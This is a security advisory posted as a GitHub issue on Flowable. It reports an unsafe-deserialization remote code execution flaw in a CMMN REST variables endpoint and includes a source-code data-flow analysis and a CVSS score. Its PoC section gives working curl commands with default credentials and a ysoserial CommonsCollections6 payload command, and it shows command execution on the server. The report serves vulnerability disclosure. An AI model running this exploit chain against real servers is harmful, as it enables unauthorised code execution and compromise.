Skip to content

[SECURITY] Deserialization RCE via PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables with type=serializable (CWE-502, CVSS 8.8) #4283

Description

@Jiecub3

Security Vulnerability Report -- CWE-502

Summary

The Flowable CMMN REST interface PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables supports multipart/form-data uploads. When variableType=serializable, it directly deserializes uploaded file content via ObjectInputStream.readObject() without any class whitelist or ObjectInputFilter filtering. An attacker can upload malicious serialized objects to achieve RCE.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable CMMN REST module's CaseInstanceVariableCollectionResource.createOrUpdateExecutionVariable method (PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables), when processing multipart/form-data requests with user-specified type=serializable, directly passes the uploaded file's byte stream to java.io.ObjectInputStream.readObject() for deserialization. This deserialization path is not configured with any ObjectInputFilter, class whitelist, or safe deserialization library (such as Apache Commons IO's ValidatingObjectInputStream). An attacker can construct serialized payloads containing malicious gadget chains to upload, thereby triggering arbitrary code execution (RCE) on the server. Under the default configuration, rest.variables.allow.serializable=true, and the vulnerability is directly exploitable.

Exploitation Prerequisites

Condition Description
Authentication Requires Basic Auth authentication (@Authorization(value = "basicAuth"))
Network Reachability Intranet/public network (depending on deployment)
Configuration Dependency Triggerable with default config (rest.variables.allow.serializable default value is true)
Other Prerequisites Need a valid caseInstanceId to exist; classpath needs exploitable gadget chains (such as Commons Collections, Spring, etc., common libraries; Flowable project itself depends on many third-party libraries)

Trigger Location

file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java:365-366

ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();

Data Flow Overview

  1. Entry Layer: PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables (multipart/form-data)

    • file: CaseInstanceVariableCollectionResource.java:83-88
    • Receives HttpServletRequest request, containing multipart file upload
  2. Route Dispatch: createVariable(caseInstance, false, request, response)

    • file: CaseInstanceVariableCollectionResource.java:87
    • Calls BaseVariableResource.createVariable
  3. Request Type Check: request instanceof MultipartHttpServletRequest

    • file: BaseVariableResource.java:197-198
    • After detecting multipart request, calls setBinaryVariable
  4. Parameter Parsing: Extract type parameter from multipart request

    • file: BaseVariableResource.java:333-335
    • variableType = paramMap.get(parameterName)[0], user-controlled
  5. Type Validation: Only validates value is binary or serializable

    • file: BaseVariableResource.java:346-349
    • No security filtering
  6. Deserialization Sink: new ObjectInputStream(file.getInputStream()).readObject()

    • file: BaseVariableResource.java:365-366
    • Directly deserializes user-uploaded file content, no class filtering

Data Flow Detailed Code Analysis

Chain 1: multipart + type=serializable -> Unsafe Deserialization

Layer 1: Entry Method

  • file: CaseInstanceVariableCollectionResource.java:83-88
  • External input: HttpServletRequest request (multipart/form-data), String caseInstanceId (path parameter)
  • Operation: Gets CaseInstance object via getCaseInstanceFromRequestWithoutAccessCheck (note: this method does not call restApiInterceptor, no access control check), then passes request to createVariable
@PutMapping(value = "/cmmn-runtime/case-instances/{caseInstanceId}/variables",
    produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(
    @PathVariable String caseInstanceId, HttpServletRequest request, HttpServletResponse response) {
    CaseInstance caseInstance = getCaseInstanceFromRequestWithoutAccessCheck(caseInstanceId);
    return createVariable(caseInstance, false, request, response);
}

Layer 2: createVariable Dispatch

  • file: BaseVariableResource.java:183-186
  • External input: caseInstance, request (passed through)
  • Operation: Delegates to overloaded createVariable method, passing scope=GLOBAL
protected Object createVariable(CaseInstance caseInstance, boolean async,
    HttpServletRequest request, HttpServletResponse response) {
    return createVariable(caseInstance.getId(), CmmnRestResponseFactory.VARIABLE_CASE,
        async, request, response, RestVariableScope.GLOBAL, createVariableInterceptor(caseInstance));
}

Layer 3: Multipart Check

  • file: BaseVariableResource.java:193-198
  • External input: request
  • Operation: Checks if request is MultipartHttpServletRequest, if so calls setBinaryVariable
protected Object createVariable(String instanceId, int variableType, boolean async,
    HttpServletRequest request, HttpServletResponse response,
    RestVariableScope scope, VariableInterceptor variableInterceptor) {
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, instanceId,
            variableType, true, async, scope, variableInterceptor);
    } else {
        // JSON branch ...
    }

Layer 4: setBinaryVariable Parameter Parsing and Deserialization

  • file: BaseVariableResource.java:303-391
  • External input: request (multipart file and form parameters)
  • Operation:
    • Extracts file from multipart request: request.getFile(request.getFileMap().keySet().iterator().next()) (line 312)
    • Extracts type and name from form parameters (lines 322-337)
    • Only validates type is binary or serializable (lines 346-349)
    • When type=serializable and isSerializableVariableAllowed=true (default), directly calls ObjectInputStream.readObject() (lines 365-366)
// Extract user-controlled type parameter
} else if ("type".equalsIgnoreCase(parameterName)) {
    variableType = paramMap.get(parameterName)[0];
}

// Only simple string validation
if (variableType != null) {
    if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
    }
}

// Unsafe deserialization sink
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // <--- vulnerability trigger point
    setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
    stream.close();
}

isSerializableVariableAllowed initialized in afterPropertiesSet, default value is true (line 67):

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Deserialization has no security measures:

  • No ObjectInputFilter (JDK 9+ native filtering mechanism)
  • No ValidatingObjectInputStream (Apache Commons IO safe deserialization utility)
  • No custom ObjectInputStream subclass overriding resolveClass
  • No class whitelist/blacklist

CVSS Breakdown

Vector Value Reason
Attack Vector (AV) Network (N) Triggered remotely via HTTP REST API
Attack Complexity (AC) Low (L) Only need to upload a constructed serialized payload, no additional complex conditions
Privileges Required (PR) Low (L) Requires Basic Auth valid credentials (regular user sufficient)
User Interaction (UI) None (N) No user interaction required
Scope (S) Unchanged (U) Vulnerability triggers within Flowable process, does not cross security boundaries
Confidentiality (C) High (H) RCE can read arbitrary data
Integrity (I) High (H) RCE can modify arbitrary data
Availability (A) High (H) RCE can破坏 service availability

CVSS v3.1 Score: 8.8 (High)

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H


PoC Verification Report

Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE
  2. Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoint /cmmn-api/cmmn-runtime/case-instances/{caseInstanceId}/variables
  3. Vulnerability Description: The PUT interface, when processing multipart/form-data requests with type=serializable, directly deserializes uploaded file content via ObjectInputStream.readObject() without any class filtering, can achieve RCE
  4. Root Cause Code Snippet:
// BaseVariableResource.java:365-366
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
  1. Brief Data Flow:
HTTP multipart PUT request (type=serializable, file=payload.ser)
  ↓
CaseInstanceVariableCollectionResource.createOrUpdateExecutionVariable() (CaseInstanceVariableCollectionResource.java:85-88)
  ↓
BaseVariableResource.createVariable() (BaseVariableResource.java:193-198)
  ↓
BaseVariableResource.setBinaryVariable() (BaseVariableResource.java:303)
  ↓
ObjectInputStream.readObject() (BaseVariableResource.java:365-366)
  ↓
CommonsCollections6 gadget chain → Runtime.exec("touch /tmp/deser_entry_0389") → RCE

Exploitation Conditions

Condition Description
Authentication Requires Basic Auth credentials (default rest-admin:test)
Network Reachability Attacker can access Flowable CMMN REST service port (default 8080)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default)
Other Prerequisites Need a valid caseInstanceId; server classpath needs exploitable gadget chain

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Description
Entry CaseInstanceVariableCollectionResource.java:85-88 Reached PUT request successfully entered CMMN REST endpoint
Parameter Parsing BaseVariableResource.java:333-335 Reached Parsed multipart form parameter type=serializable
Deserialization Trigger BaseVariableResource.java:365-366 Triggered ObjectInputStream.readObject() executed
Gadget Chain Execution CommonsCollections6 → InvokerTransformer Executed gadget chain fully triggered
Command Execution Runtime.exec("touch /tmp/deser_entry_0389") Successful Server file /tmp/deser_entry_0389 created
Conclusion — RCE Successful Remote code execution achieved via deserialization gadget chain

Exploitation Verification

Step 1 — Obtain valid caseInstanceId

curl -s -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances"

Actual execution result:

{"data":[{"id":"81e6055f-8ff9-11f1-a3d0-02423661ba3a","name":null,"state":"active","caseDefinitionId":"7eb2037e-8ff9-11f1-a3d0-02423661ba3a",...}]}

Step 2 — Generate CommonsCollections6 RCE payload

java \
  --add-opens java.base/java.lang=ALL-UNNAMED \
  --add-opens java.base/java.io=ALL-UNNAMED \
  --add-opens java.base/java.util=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens java.management/javax.management=ALL-UNNAMED \
  --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/deser_entry_0389" > payload_rce.ser

Step 3 — Send payload to target endpoint

curl -v -X PUT "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances/81e6055f-8ff9-11f1-a3d0-02423661ba3a/variables" \
  -u rest-admin:test \
  -F "name=rce_poc" \
  -F "type=serializable" \
  -F "file=@payload_rce.ser"

Actual execution result:

Before request, server does not have /tmp/deser_entry_0389:

$ ls -la /tmp/deser_entry_0389
ls: cannot access '/tmp/deser_entry_0389': No such file or directory

HTTP response:

HTTP/1.1 201 Created
{"name":"rce_poc","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances/81e6055f-8ff9-11f1-a3d0-02423661ba3a/variables/rce_poc/data","scope":"global"}

After request, server filesystem:

$ ls -la /tmp/deser_entry_0389
-rw-r----- 1 root root 0 Aug  4 12:10 /tmp/deser_entry_0389

Conclusion: The attacker uploaded a CommonsCollections6 serialized payload via PUT multipart request to the CMMN REST case-instances variable interface. The server-side ObjectInputStream.readObject() directly deserialized it and triggered the gadget chain, successfully executing touch /tmp/deser_entry_0389, creating a file on the server filesystem (root privileges, timestamp consistent with request time). RCE verification successful.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions